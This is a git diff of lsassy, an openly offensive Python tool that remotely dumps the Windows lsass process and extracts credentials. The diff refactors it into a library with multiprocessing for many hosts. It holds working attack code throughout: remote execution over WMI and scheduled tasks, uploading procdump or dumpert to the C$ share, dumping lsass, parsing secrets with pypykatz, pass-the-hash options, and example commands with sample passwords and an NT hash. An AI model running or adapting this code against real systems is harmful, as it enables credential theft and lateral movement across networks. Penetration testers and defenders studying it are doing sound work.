diff --git a/.gitignore b/.gitignore index aac7214..eba506c 100644 --- a/.gitignore +++ b/.gitignore @@ -28,5 +28,4 @@ MANIFEST .idea # Tests - -test/tests.config.sh \ No newline at end of file +tests/tests_config.py diff --git a/Makefile b/Makefile index dd0e4c5..6190bd4 100644 --- a/Makefile +++ b/Makefile @@ -21,3 +21,6 @@ build: clean python3.7 setup.py install install: build + +test: + python3.7 setup.py test diff --git a/README.md b/README.md index 1dccda8..afe054b 100644 --- a/README.md +++ b/README.md @@ -1,12 +1,10 @@ # lsassy -[![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=1.1.7&x2=0)](https://pypi.org/project/lsassy/) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo) +[![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=2.0.0&x2=0)](https://pypi.org/project/lsassy/) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo) ![CME Module example](https://github.com/Hackndo/lsassy/raw/master/assets/example.png) -Python library to remotely extract credentials. This [blog post](https://en.hackndo.com/remote-lsass-dump-passwords/) explains how it works. - -You can check the [wiki](https://github.com/Hackndo/lsassy/wiki) +Python library to remotely extract credentials on a set of hosts. This [blog post](https://en.hackndo.com/remote-lsass-dump-passwords/) explains how it works. This library uses [impacket](https://github.com/SecureAuthCorp/impacket) project to remotely read necessary bytes in lsass dump and [pypykatz](https://github.com/skelsec/pypykatz) to extract credentials. @@ -14,10 +12,8 @@ This library uses [impacket](https://github.com/SecureAuthCorp/impacket) project |----------------------------------------------|---------------------------------------------------------| | [Requirements](#requirements) | Requirements to install lsassy from source | | [Installation](#installation) | Installation commands from pip or from source | -| [Basic Usage](#basic-usage) | Command line template for standalone version | -| [Advanced Usage](#advanced) | Advanced usage (Dumping methods, execution methods, ...)| +| [Documentation](#documentation) | Lsassy documentation | | [CrackMapExec Module](#crackmapexec-module) | Link to CrackMapExec module included in this repository | -| [Examples](#examples-1) | Command line examples for standalone and CME module | | [Issues](#issues) | Read this before creating an issue | | [Acknowledgments](#acknowledgments) | Kudos to these people and tools | | [Contributors](#contributors) | People contributing to this tool | @@ -25,6 +21,7 @@ This library uses [impacket](https://github.com/SecureAuthCorp/impacket) project ## Requirements * Python >= 3.6 +* netaddr * [pypykatz](https://github.com/skelsec/pypykatz) >= 0.3.0 * [impacket](https://github.com/SecureAuthCorp/impacket) @@ -42,64 +39,9 @@ python3.7 -m pip install lsassy python3.7 setup.py install ``` -## Basic Usage - -``` -lsassy [--hashes [LM:]NT] [/][:]@ -``` - -## Advanced - -### Dumping methods - -This tool can dump lsass in different ways. - -Dumping methods (`-m` or `--method`) -* **0**: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails, -u if procdump method fails) -* **1**: comsvcs.dll method, stop on success (default) -* **2**: Procdump method, stop on success (Requires -p) -* **3**: comsvcs.dll + Powershell method, stop on success -* **4**: comsvcs.dll + cmd.exe method -* **5**: (unsafe) Dumpert method, stop on success (Requires -u) - -#### comsvcs.dll method - -This method **only uses built-in Windows files** to extract remote credentials. It uses **minidump** function from **comsvcs.dll** to dump **lsass** process. - -This method can only be used when context has **SeDebugPrivilege**. This privilege is either in Powershell local admin context, or cmd.exe SYSTEM context. - -Two execution methods can be used. -1. **WMIExec** with cmd.exe (no SeDebugPrivilege), or powershell (SeDebugPrivilege) -2. **ScheduledTasks** with SYSTEM context (SeDebugPrivilege) - -#### Procdump method - -This method uploads **procdump.exe** from SysInternals to dump **lsass** process. It will first try to execute -procdump using WMI, and if it fails it will create a remote task, execute it and delete it. - -#### Dumpert method - -This method uploads **dumpert.exe** to dump **lsass** process. It will first try to execute -dumpert using WMI, and if it fails it will create a remote task, execute it and delete it. - -#### Examples - -```bash -lsassy [--hashes [LM:]NT] [/][:]@ -m 0 -p /path/to/procdump.exe -u /path/to/dumpert.exe -lsassy [--hashes [LM:]NT] [/][:]@ -m 1 -lsassy [--hashes [LM:]NT] [/][:]@ -m 2 -p /path/to/procdump.exe -lsassy [--hashes [LM:]NT] [/][:]@ -m 3 -lsassy [--hashes [LM:]NT] [/][:]@ -m 4 -lsassy [--hashes [LM:]NT] [/][:]@ -m 5 -u /path/to/dumpert.exe -``` - -### Remote parsing only - -lsassy can parse an already dumped lsass process. +## Documentation -``` -lsassy [--hashes [LM:]NT] --dumppath /share/path/to/dump.dmp [/][:]@ -``` +The tool is fully documented in the [wiki](https://github.com/Hackndo/lsassy/wiki) of this project ## CrackMapExec module @@ -107,36 +49,20 @@ I wrote a CrackMapExec module that uses **lsassy** to extract credentials on com CrackMapExec module is in `cme` folder : [CME Module](https://github.com/Hackndo/lsassy/tree/master/cme) -## Examples - -### lsassy - -```bash -# RunDLL Method -lsassy adsec.local/jsnow:Winter_is_coming@dc01.adsec.local - -# Procdump Method -lsassy -m 2 -p /tmp/procdump.exe adsec.local/jsnow:Winter_is_coming@dc01.adsec.local - -# Dumpert Method -lsassy -m 5 -u /tmp/dumpert.exe adsec.local/jsnow:Winter_is_coming@dc01.adsec.local - -# Remote parsing only -lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/jsnow:Winter_is_coming@dc01.adsec.local - -# NT Hash Authentication -lsassy --hashes 952c28bd2fd728898411b301475009b7 Administrator@desktop01.adsec.local -``` - -### CME Module - -``` -crackmapexec smb 10.0.0.0/24 -d adsec.local -u Administrator -p Passw0rd -M lsassy -o BLOODHOUND=True NEO4JPASS=bloodhound -``` ### ChangeLog ``` +v2.0.0 +------ +* Multiprocessing support to dump credentials on multiple hosts at a time +* Add new dumping method using "dumpert" +* Can be used as a library in other python projects +* Syntax changed to be more flexible +* Complete code refactoring, way more organized and easy to maintain/extend +* Better error handling +* Complete wiki + v1.1.0 ------ * Better execution process : --method flag has been added and described in help text diff --git a/cme/lsassy.py b/cme/lsassy.py index e1ef23e..9ad7686 100644 --- a/cme/lsassy.py +++ b/cme/lsassy.py @@ -85,23 +85,17 @@ def on_admin_login(self, context, connection): nthash = getattr(connection, "nthash", "") host = connection.host - py_arg = "{}/{}:{}@{}".format( - domain_name, username, password, host - ) - - command = r"lsassy -j --hashes {}:{} '{}'".format( - lmhash, - nthash, - py_arg + command = r"lsassy --format json -d '{}' -u '{}' -p '{}' -H '{}:{}' {}".format( + domain_name, username, password, lmhash, nthash, host ) if context.verbose: - command += " -d " + command += " -vv " else: - command += " -q " + command += " --quiet " if self.method: - command += " -m {}".format(self.method) + command += " --method {}".format(self.method) if self.remote_lsass_dump: command += " --dumpname {}".format(self.remote_lsass_dump) @@ -124,8 +118,11 @@ def on_admin_login(self, context, connection): if code != 0: # Debug output - context.log.error('Error while executing lsassy, try using CrackMapExec with --verbose to get more details') - context.log.debug('----- lsassy error -----') + if code == 5: + context.log.error('Lsass is protected') + else: + context.log.error('Error while executing lsassy, try using CrackMapExec with --verbose to get more details') + context.log.debug('----- lsassy error [{}] -----'.format(code)) for line in err.split("\n"): context.log.debug('{}'.format(line)) context.log.debug('----- end error -----') diff --git a/examples/get_credentials.py b/examples/get_credentials.py new file mode 100644 index 0000000..7d13e67 --- /dev/null +++ b/examples/get_credentials.py @@ -0,0 +1,23 @@ +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com + +from lsassy import Lsassy, Logger, Dumper, Parser, Writer + +log_options = Logger.Options(verbosity=2, quiet=False) +dump_options = Dumper.Options(method=2, dumpname="lsass.dmp", procdump="/opt/Sysinternals/procdump.exe") +parse_options = Parser.Options(raw=True) +write_option = Writer.Options(format="pretty", output_file="/tmp/credentials.txt") + +lsassy = Lsassy( + hostname="192.168.1.122", + username="pixis", + domain="adsec.local", + password="h4cknd0", + log_options=log_options, + dump_options=dump_options, + parse_options=parse_options, + write_options=write_option +) +print(lsassy.get_credentials()) diff --git a/lsassy/__init__.py b/lsassy/__init__.py index 14a687a..7158658 100644 --- a/lsassy/__init__.py +++ b/lsassy/__init__.py @@ -4,4 +4,13 @@ # https://beta.hackndo.com [FR] # https://en.hackndo.com [EN] -name = "lsassy" \ No newline at end of file +from .core import Lsassy +from .modules.dumper import Dumper +from .modules.logger import Logger +from .modules.parser import Parser +from .modules.writer import Writer + +__all__ = ["Lsassy", "Dumper", "Logger", "Parser", "Writer"] + +name = "lsassy" + diff --git a/lsassy/__main__.py b/lsassy/__main__.py deleted file mode 100644 index 90a7096..0000000 --- a/lsassy/__main__.py +++ /dev/null @@ -1,140 +0,0 @@ -#!/usr/bin/env python3 -# Author: -# Romain Bentz (pixis - @hackanddo) -# Website: -# https://beta.hackndo.com [FR] -# https://en.hackndo.com [EN] - -import sys - -import pkg_resources -from pypykatz.pypykatz import pypykatz - -from lsassy.dumper import Dumper -from lsassy.impacketconnection import ImpacketConnection -from lsassy.impacketfile import ImpacketFile -from lsassy.log import Logger -from lsassy.parser import Parser -from lsassy.utils import * -from lsassy.defines import * - -version = pkg_resources.require("lsassy")[0].version - - -def run(): - import argparse - - examples = '''examples: - - ** RunDLL Dump Method ** - lsassy adsec.local/pixis:p4ssw0rd@dc01.adsec.local - - ** Try all methods ** - lsassy -m 0 adsec.local/pixis:p4ssw0rd@dc01.adsec.local - - ** Procdump Dump Method ** - lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:p4ssw0rd@dc01.adsec.local - - ** dumpert Dump Method ** - lsassy -m 5 -u /tmp/dumpert.exe adsec.local/pixis:p4ssw0rd@dc01.adsec.local - - ** Remote parsing only ** - lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:p4ssw0rd@dc01.adsec.local - - ** Output functions ** - lsassy -j -q localuser@desktop01.adsec.local - lsassy -g --hashes 952c28bd2fd728898411b301475009b7 pixis@dc01.adsec.local''' - - parser = argparse.ArgumentParser( - prog="lsassy", - description='lsassy v{} - Remote lsass dump reader'.format(version), - epilog=examples, - formatter_class=argparse.RawTextHelpFormatter - ) - - group_dump = parser.add_argument_group('dump') - group_dump.add_argument('-m', '--method', action='store', default="1", help='''Dumping method - 0: Try all methods (dll then procdump then dumpert) to dump lsass, stop on success (Requires -p if dll method fails, -u if procdump method fails) - 1: comsvcs.dll method, stop on success (default) - 2: Procdump method, stop on success (Requires -p) - 3: comsvcs.dll + Powershell method, stop on success - 4: comsvcs.dll + cmd.exe method - 5: (unsafe) dumpert method, stop on success (Requires -u)''') - group_dump.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') - group_dump.add_argument('-p', '--procdump', action='store', help='Procdump path') - group_dump.add_argument('-u', '--dumpert', action='store', help='dumpert path') - group_dump.add_argument('--timeout', default="10", action='store', help='Timeout before considering lsass was not dumped successfully') - - group_auth = parser.add_argument_group('authentication') - group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') - - group_out = parser.add_argument_group('output') - group_out.add_argument('-j', '--json', action='store_true',help='Print credentials in JSON format') - group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') - group_extract = parser.add_argument_group('remote parsing only') - group_extract.add_argument('--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') - - parser.add_argument('-r', '--raw', action='store_true', help='No basic result filtering (Display host credentials and duplicates)') - parser.add_argument('-d', '--debug', action='store_true', help='Debug output') - parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') - parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) - parser.add_argument('target', action='store', help='[domain/]username[:password]@') - - if len(sys.argv) == 1: - parser.print_help() - sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code) - - args = parser.parse_args() - logger = Logger(args.debug, args.quiet) - - conn = ImpacketConnection.from_args(args, logger) - - if isinstance(conn, RetCode): - return_code = conn - lsassy_exit(logger, return_code) - - return_code = conn.isadmin() - if not return_code.success(): - conn.close() - lsassy_exit(logger, return_code) - - dumper = None - ifile = None - - try: - if not args.dumppath: - dumper = Dumper(conn, args, logger) - ifile = dumper.dump() - if isinstance(ifile, RetCode): - return_code = ifile - else: - logger.success("Process lsass.exe has been dumped") - else: - ifile = ImpacketFile(conn, logger).open(args.dumppath) - if not isinstance(ifile, ImpacketFile): - return_code = ifile - - if return_code.success(): - dumpfile = pypykatz.parse_minidump_external(ifile) - ifile.close() - parser = Parser(dumpfile, logger) - parser.output(args) - except KeyboardInterrupt as e: - print("\nQuitting gracefully...") - return_code = RetCode(ERROR_USER_INTERRUPTION) - except Exception as e: - return_code = RetCode(ERROR_UNDEFINED, e) - pass - finally: - try: - ifile.close() - except Exception as e: - pass - if dumper is not None: - dumper.clean() - conn.close() - lsassy_exit(logger, return_code) - - -if __name__ == '__main__': - run() diff --git a/lsassy/core.py b/lsassy/core.py new file mode 100755 index 0000000..926abb1 --- /dev/null +++ b/lsassy/core.py @@ -0,0 +1,227 @@ +#!/usr/bin/env python3 +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com + +from multiprocessing import Process, RLock + +from lsassy.modules.dumper import Dumper +from lsassy.modules.impacketconnection import ImpacketConnection +from lsassy.modules.logger import Logger +from lsassy.modules.parser import Parser +from lsassy.modules.writer import Writer +from lsassy.utils.utils import * + +lock = RLock() + + +class Lsassy: + def __init__(self, + hostname, username, domain="", password="", lmhash="", nthash="", + log_options=Logger.Options(), + dump_options=Dumper.Options(), + parse_options=Parser.Options(), + write_options=Writer.Options() + ): + + self.conn_options = ImpacketConnection.Options(hostname, domain, username, password, lmhash, nthash) + self.log_options = log_options + self.dump_options = dump_options + self.parse_options = parse_options + self.write_options = write_options + + self._target = hostname + + self._log = Logger(self._target, log_options) + + self._conn = None + self._dumper = None + self._parser = None + self._dumpfile = None + self._credentials = [] + self._writer = None + + def connect(self, options: ImpacketConnection.Options): + self._conn = ImpacketConnection(options) + self._conn.set_logger(self._log) + login_result = self._conn.login() + if not login_result.success(): + return login_result + + self._log.info("Authenticated") + return RetCode(ERROR_SUCCESS) + + def dump_lsass(self, options=Dumper.Options()): + is_admin = self._conn.isadmin() + if not is_admin.success(): + self._conn.close() + return is_admin + + self._dumper = Dumper(self._conn, options) + dump_result = self._dumper.dump() + if not dump_result.success(): + return dump_result + self._dumpfile = self._dumper.getfile() + + self._log.info("Process lsass.exe has been dumped") + return RetCode(ERROR_SUCCESS) + + def parse_lsass(self, options=Dumper.Options()): + self._parser = Parser(self._dumpfile, options) + parse_result = self._parser.parse() + if not parse_result.success(): + return parse_result + + self._credentials = self._parser.get_credentials() + self._log.info("Process lsass.exe has been parsed") + return RetCode(ERROR_SUCCESS) + + def write_credentials(self, options=Writer.Options()): + self._writer = Writer(self._target, self._credentials, self._log, options) + write_result = self._writer.write() + if not write_result.success(): + return write_result + + return RetCode(ERROR_SUCCESS) + + def clean(self): + if self._parser: + r = self._parser.clean() + if not r.success(): + lsassy_warn(self._log, r) + + if self._dumper: + r = self._dumper.clean() + if not r.success(): + lsassy_warn(self._log, r) + + if self._conn: + r = self._conn.clean() + if not r.success(): + lsassy_warn(self._log, r) + + self._log.info("Cleaning complete") + + def get_credentials(self): + self.log_options.quiet = True + self.log_options.verbosity = False + self._log = Logger(self._target, self.log_options) + self.write_options.format = "none" + self.run() + return self._credentials + + def run(self): + return_code = ERROR_UNDEFINED + try: + return_code = self._run() + except KeyboardInterrupt as e: + print("") + self._log.warn("Quitting gracefully...") + return_code = RetCode(ERROR_USER_INTERRUPTION) + except Exception as e: + return_code = RetCode(ERROR_UNDEFINED, e) + finally: + self.clean() + lsassy_exit(self._log, return_code) + return return_code.error_code + + def _run(self): + """ + Extract hashes from arguments + """ + + r = self.connect(self.conn_options) + if not r.success(): + return r + r = self.dump_lsass(self.dump_options) + if not r.success(): + return r + r = self.parse_lsass(self.parse_options) + if not r.success(): + return r + r = self.write_credentials(self.write_options) + if not r.success(): + return r + return RetCode(ERROR_SUCCESS) + + +class CLI: + def __init__(self, target): + self.conn_options = ImpacketConnection.Options() + self.log_options = Logger.Options() + self.dump_options = Dumper.Options() + self.parse_options = Parser.Options() + self.write_options = Writer.Options() + self.lsassy = None + self.target = target + + def set_options_from_args(self, args): + # Logger Options + self.log_options.verbosity = args.v + self.log_options.quiet = args.quiet + + # Connection Options + self.conn_options.hostname = self.target + self.conn_options.domain_name = args.domain + self.conn_options.username = args.username + self.conn_options.password = args.password + if not self.conn_options.password and args.hashes: + if ":" in args.hashes: + self.conn_options.lmhash, self.conn_options.nthash = args.hashes.split(":") + else: + self.conn_options.lmhash, self.conn_options.nthash = 'aad3b435b51404eeaad3b435b51404ee', args.hashes + + # Dumper Options + self.dump_options.dumpname = args.dumpname + self.dump_options.procdump_path = args.procdump + self.dump_options.dumpert_path = args.dumpert + self.dump_options.method = args.method + self.dump_options.timeout = args.timeout + + # Parser Options + self.parse_options.raw = args.raw + + # Writer Options + self.write_options.output_file = args.outfile + self.write_options.format = args.format + + def run(self): + args = get_args() + self.set_options_from_args(args) + self.lsassy = Lsassy( + self.conn_options.hostname, + self.conn_options.username, + self.conn_options.domain_name, + self.conn_options.password, + self.conn_options.lmhash, + self.conn_options.nthash, + self.log_options, + self.dump_options, + self.parse_options, + self.write_options + ) + return self.lsassy.run() + + +def run(): + targets = get_targets(get_args().target) + + if len(targets) == 1: + return CLI(targets[0]).run() + + jobs = [Process(target=CLI(target).run) for target in targets] + try: + for job in jobs: + job.start() + except KeyboardInterrupt as e: + print("\nQuitting gracefully...") + terminate_jobs(jobs) + finally: + join_jobs(jobs) + + return 0 + + +if __name__ == '__main__': + run() diff --git a/lsassy/defines.py b/lsassy/defines.py deleted file mode 100644 index d87c33f..0000000 --- a/lsassy/defines.py +++ /dev/null @@ -1,41 +0,0 @@ -# Author: -# Romain Bentz (pixis - @hackanddo) -# Website: -# https://beta.hackndo.com - -ERROR_SUCCESS = (0, "") -ERROR_NO_CREDENTIAL_FOUND = (0, "Procdump could not be uploaded") - -ERROR_MISSING_ARGUMENTS = (1, "") -ERROR_CONNEXION_ERROR = (2, "Connexion error") -ERROR_ACCESS_DENIED = (3, "Access denied. Administrative rights on remote host are required") -ERROR_METHOD_NOT_SUPPORTED = (4, "Method not supported") -ERROR_LSASS_PROTECTED = (5, "Lsass is protected") -ERROR_SLOW_TARGET = (6, "Target might be slow. Try to increase --timeout") -ERROR_LSASS_DUMP_NOT_FOUND = (7, "lsass dump file does not exist. Use --debug flag for more details") -ERROR_USER_INTERRUPTION = (8, "lsassy has been interrupted") -ERROR_SHARE = (9, "Error opening share") -ERROR_FILE = (10, "Error opening file") -ERROR_INVALID_FORMAT = (11, "Invalid format") -ERROR_DNS_ERROR = (12, "No DNS found to resolve this hostname") -ERROR_LOGIN_FAILURE = (13, "Authentication error") -ERROR_PROCDUMP_NOT_FOUND = (14, "Procdump path is not valid") -ERROR_PROCDUMP_NOT_PROVIDED = (15, "Procdump was not provided") -ERROR_PROCDUMP_NOT_UPLOADED = (16, "Procdump could not be uploaded") -ERROR_DLL_NO_EXECUTE = (17, "Could not execute commands on remote host via DLL") -ERROR_WMI_NO_EXECUTE = (18, "Could not execute commands on remote host via WMI") -ERROR_DUMPERT_NOT_FOUND = (19, "dumpert path is not valid") -ERROR_DUMPERT_NOT_PROVIDED = (20, "dumpert was not provided") -ERROR_DUMPERT_NOT_UPLOADED = (21, "dumpert could not be uploaded") - -ERROR_UNDEFINED = (99, "Unknown error") - - -class RetCode: - def __init__(self, error, exception=None): - self.error_code = error[0] - self.error_msg = error[1] - self.error_exception = exception - - def success(self): - return self.error_code == 0 diff --git a/lsassy/exec/__init__.py b/lsassy/exec/__init__.py new file mode 100644 index 0000000..1653cd1 --- /dev/null +++ b/lsassy/exec/__init__.py @@ -0,0 +1,5 @@ +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com + diff --git a/lsassy/taskexe.py b/lsassy/exec/taskexe.py similarity index 100% rename from lsassy/taskexe.py rename to lsassy/exec/taskexe.py diff --git a/lsassy/wmi.py b/lsassy/exec/wmi.py similarity index 83% rename from lsassy/wmi.py rename to lsassy/exec/wmi.py index 11d1b62..65a4685 100644 --- a/lsassy/wmi.py +++ b/lsassy/exec/wmi.py @@ -15,11 +15,12 @@ class WMI: - def __init__(self, connexion, logger): - self.conn = connexion + def __init__(self, connection, logger): + self.conn = connection self.conn.hostname = list({addr[-1][0] for addr in socket.getaddrinfo(self.conn.hostname, 0, 0, 0, 0)})[0] self.log = logger self.win32Process = None + self.iWbemServices = None self.buffer = "" self.dcom = None self._getwin32process() @@ -48,9 +49,9 @@ def _getwin32process(self): ) iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() - self.win32Process, _ = iWbemServices.GetObject('Win32_Process') + self.win32Process, _ = self.iWbemServices.GetObject('Win32_Process') except KeyboardInterrupt as e: self.dcom.disconnect() raise KeyboardInterrupt(e) @@ -61,11 +62,14 @@ def execute(self, commands): command = " & ".join(commands) try: self.win32Process.Create(command, "C:\\", None) + self.iWbemServices.disconnect() self.dcom.disconnect() except KeyboardInterrupt as e: self.log.debug("WMI Execution stopped because of keyboard interruption") + self.iWbemServices.disconnect() self.dcom.disconnect() raise KeyboardInterrupt(e) except Exception as e: self.log.debug("Error : {}".format(e)) - self.dcom.disconnect() \ No newline at end of file + self.iWbemServices.disconnect() + self.dcom.disconnect() diff --git a/lsassy/log.py b/lsassy/log.py deleted file mode 100644 index 5193a40..0000000 --- a/lsassy/log.py +++ /dev/null @@ -1,43 +0,0 @@ -# Author: -# Romain Bentz (pixis - @hackanddo) -# Website: -# https://beta.hackndo.com [FR] -# https://en.hackndo.com [EN] - -import sys - - -class Logger: - def __init__(self, is_debug=False, is_quiet=False): - self._is_debug = is_debug - self._is_quiet = is_quiet - - def info(self, msg): - if not self._is_quiet: - msg = "\n ".join(msg.split("\n")) - print("\033[1;34m[*]\033[0m {}".format(msg)) - - def debug(self, msg): - if not self._is_quiet: - if self._is_debug: - msg = "\n ".join(msg.split("\n")) - print("\033[1;37m[*]\033[0m {}".format(msg)) - - def warn(self, msg): - if not self._is_quiet: - msg = "\n ".join(msg.split("\n")) - print("\033[1;33m[!]\033[0m {}".format(msg)) - - def error(self, msg): - if not self._is_quiet: - msg = "\n ".join(msg.split("\n")) - print("\033[1;31m[X]\033[0m {}".format(msg), file=sys.stderr) - - def success(self, msg, force=False): - if not self._is_quiet or force: - msg = "\n ".join(msg.split("\n")) - print("\033[1;32m[+]\033[0m {}".format(msg)) - - @staticmethod - def highlight(msg): - return "\033[1;33m{}\033[0m".format(msg) \ No newline at end of file diff --git a/lsassy/modules/__init__.py b/lsassy/modules/__init__.py new file mode 100644 index 0000000..1653cd1 --- /dev/null +++ b/lsassy/modules/__init__.py @@ -0,0 +1,5 @@ +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com + diff --git a/lsassy/dumper.py b/lsassy/modules/dumper.py similarity index 57% rename from lsassy/dumper.py rename to lsassy/modules/dumper.py index ce78044..9730daf 100644 --- a/lsassy/dumper.py +++ b/lsassy/modules/dumper.py @@ -4,44 +4,64 @@ # https://beta.hackndo.com [FR] # https://en.hackndo.com [EN] -import os import random import string -from lsassy.impacketfile import ImpacketFile -from lsassy.taskexe import TASK_EXEC -from lsassy.wmi import WMI -from lsassy.defines import * +from lsassy.modules.impacketfile import ImpacketFile +from lsassy.exec.taskexe import TASK_EXEC +from lsassy.exec.wmi import WMI +from lsassy.utils.utils import * class Dumper: - def __init__(self, connection, args, log): - self._log = log - self._tmp_dir = "\\Windows\\Temp\\" - self._share = "C$" - self._procdump = "procdump.exe" - self._dumpert = "dumpert.exe" - self._procdump_path = args.procdump - self._dumpert_path = args.dumpert - self._method = args.method - self._timeout = args.timeout - - if args.dumpname: - self._remote_lsass_dump = args.dumpname + + class Options: + def __init__(self, tmp_dir="\\Windows\\Temp\\", share="C$", dumpname=None, procdump="procdump.exe", dumpert="dumpert.exe", procdump_path=None, dumpert_path=None, method=1, timeout=10): + self.tmp_dir = tmp_dir + self.share = share + self.dumpname = dumpname + self.procdump = procdump + self.dumpert = dumpert + self.procdump_path = procdump_path + self.dumpert_path = dumpert_path + self.method = method + self.timeout = timeout + + def __init__(self, connection, options=Options()): + self._log = connection.get_logger() + self._tmp_dir = options.tmp_dir + self._share = options.share + self._procdump = options.procdump + self._dumpert = options.dumpert + self._procdump_path = options.procdump_path + self._dumpert_path = options.dumpert_path + self._method = options.method + self._timeout = options.timeout + + if options.dumpname: + self._remote_lsass_dump = options.dumpname if "." not in self._remote_lsass_dump: self._remote_lsass_dump += ".dmp" else: self._remote_lsass_dump = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + ".dmp" + self._conn = connection - if args.procdump is not None: - self._procdump_path = args.procdump - if args.dumpert is not None: - self._dumpert_path = args.dumpert - self._remote_lsass_dump = "dumpert.dmp" + self._ifile = None + + self._exec_methods = {"wmi": WMI, "task": TASK_EXEC} + self._use_procdump = False + self._use_dumpert = False - self.exec_methods = {"wmi": WMI, "task": TASK_EXEC} - self.procdump = False - self.dumpert = False + def getfile(self): + if isinstance(self._ifile, ImpacketFile): + return self._ifile + return RetCode(ERROR_UNDEFINED, Exception("Trying to return an object which is not an Impacket file")) + + def close(self): + if isinstance(self._ifile, ImpacketFile): + self._ifile.close() + return RetCode(ERROR_SUCCESS) + return RetCode(ERROR_UNDEFINED, Exception("Trying to close an object which is not an Impacket file")) def dump(self): """ @@ -61,31 +81,31 @@ def dump(self): 2. Shell context to use (powershell, cmd) 3. List of remote execution methods (wmi, task) """ - if self._method == "0": + if self._method == 0: dump_methodologies = [ ["dll", "powershell", ("wmi", "task")], ["dll", "cmd", ("task",)], ["procdump", "cmd", ("wmi", "task")], ["dumpert", "cmd", ("wmi", "task")] ] - elif self._method == "1": + elif self._method == 1: dump_methodologies = [ ["dll", "powershell", ("wmi", "task")], ["dll", "cmd", ("task",)] ] - elif self._method == "2": + elif self._method == 2: dump_methodologies = [ ["procdump", "cmd", ("wmi", "task")] ] - elif self._method == "3": + elif self._method == 3: dump_methodologies = [ ["dll", "powershell", ("wmi", "task")] ] - elif self._method == "4": + elif self._method == 4: dump_methodologies = [ ["dll", "cmd", ("task",)] ] - elif self._method == "5": + elif self._method == 5: dump_methodologies = [ ["dumpert", "cmd", ("wmi", "task")] ] @@ -105,26 +125,24 @@ def dump(self): dumped = self.dumpert_dump(exec_methods) else: continue - - if dumped: + if dumped.success(): """ If procdump failed, a dumpfile was created, and its content is "FAILED" Best guess is that lsass is protected in some way (PPL, AV, ...) """ - try: - ifile.open( - (self._share + self._tmp_dir + self._remote_lsass_dump).replace("\\", "/"), - timeout=self._timeout - ) - - if ifile.size() < 100 and ifile.read(6).decode('utf-8') == "FAILED": + ret = ifile.open( + (self._share + self._tmp_dir + self._remote_lsass_dump).replace("\\", "/"), + timeout=self._timeout + ) + if isinstance(ret, ImpacketFile): + if ifile.size() == 0 or (ifile.size() < 100 and ifile.read(6).decode('utf-8') == "FAILED"): ifile.close() return RetCode(ERROR_LSASS_PROTECTED) ifile.seek(0) - return ifile - except Exception as e: + self._ifile = ifile + return RetCode(ERROR_SUCCESS) + else: self._log.warn("No dump file found with \"{}\" using \"{}\" exec method.".format(dump_method, exec_shell)) - self._log.debug("Error : {}".format(str(e))) """ If no dump file was found, it means that procdump didn't crash, so it may take more time than expected. @@ -145,25 +163,22 @@ def dll_dump(self, exec_methods=("wmi", "task"), exec_shell="cmd"): ), ] else: - return RetCode(ERROR_UNDEFINED) + return RetCode(ERROR_METHOD_NOT_SUPPORTED) self._log.debug("Commands : ") for command in commands: self._log.debug("{}".format(command)) - exec_completed = False - - while not exec_completed: - for exec_method in exec_methods: - try: - self._log.debug("Trying exec method : \"{}\"".format(exec_method)) - self.exec_methods[exec_method](self._conn, self._log).execute(commands) - self._log.debug("Exec method \"{}\" success !".format(exec_method)) - return RetCode(ERROR_SUCCESS) - except Exception as e: - self._log.debug("Exec method \"{}\" failed.".format(exec_method)) - self._log.debug('Error : {}'.format(e)) - return RetCode(ERROR_DLL_NO_EXECUTE) + for exec_method in exec_methods: + try: + self._log.debug("Trying exec method : \"{}\"".format(exec_method)) + self._exec_methods[exec_method](self._conn, self._log).execute(commands) + self._log.debug("Exec method \"{}\" success !".format(exec_method)) + return RetCode(ERROR_SUCCESS) + except Exception as e: + self._log.warn("Exec method \"{}\" failed.".format(exec_method)) + self._log.debug('Error : {}'.format(e)) + return RetCode(ERROR_DLL_NO_EXECUTE) def procdump_dump(self, exec_methods=("wmi", "task")): """ @@ -185,7 +200,7 @@ def procdump_dump(self, exec_methods=("wmi", "task")): self._conn.putFile(self._share, self._tmp_dir + self._procdump, procdump.read) except Exception as e: return RetCode(ERROR_PROCDUMP_NOT_UPLOADED) - self.procdump = True + self._use_procdump = True # Dump lsass using PID commands = [ @@ -193,8 +208,7 @@ def procdump_dump(self, exec_methods=("wmi", "task")): self._tmp_dir, self._procdump, self._tmp_dir, self._remote_lsass_dump ), - "if NOT EXIST {}{} (echo FAILED > {}{})".format( - self._tmp_dir, self._remote_lsass_dump, + "for %A in ({}{}) do IF NOT EXIST %A ( echo FAILED > %A ) ELSE IF %~zA==0 ( echo FAILED > %A )".format( self._tmp_dir, self._remote_lsass_dump )] @@ -202,18 +216,16 @@ def procdump_dump(self, exec_methods=("wmi", "task")): for command in commands: 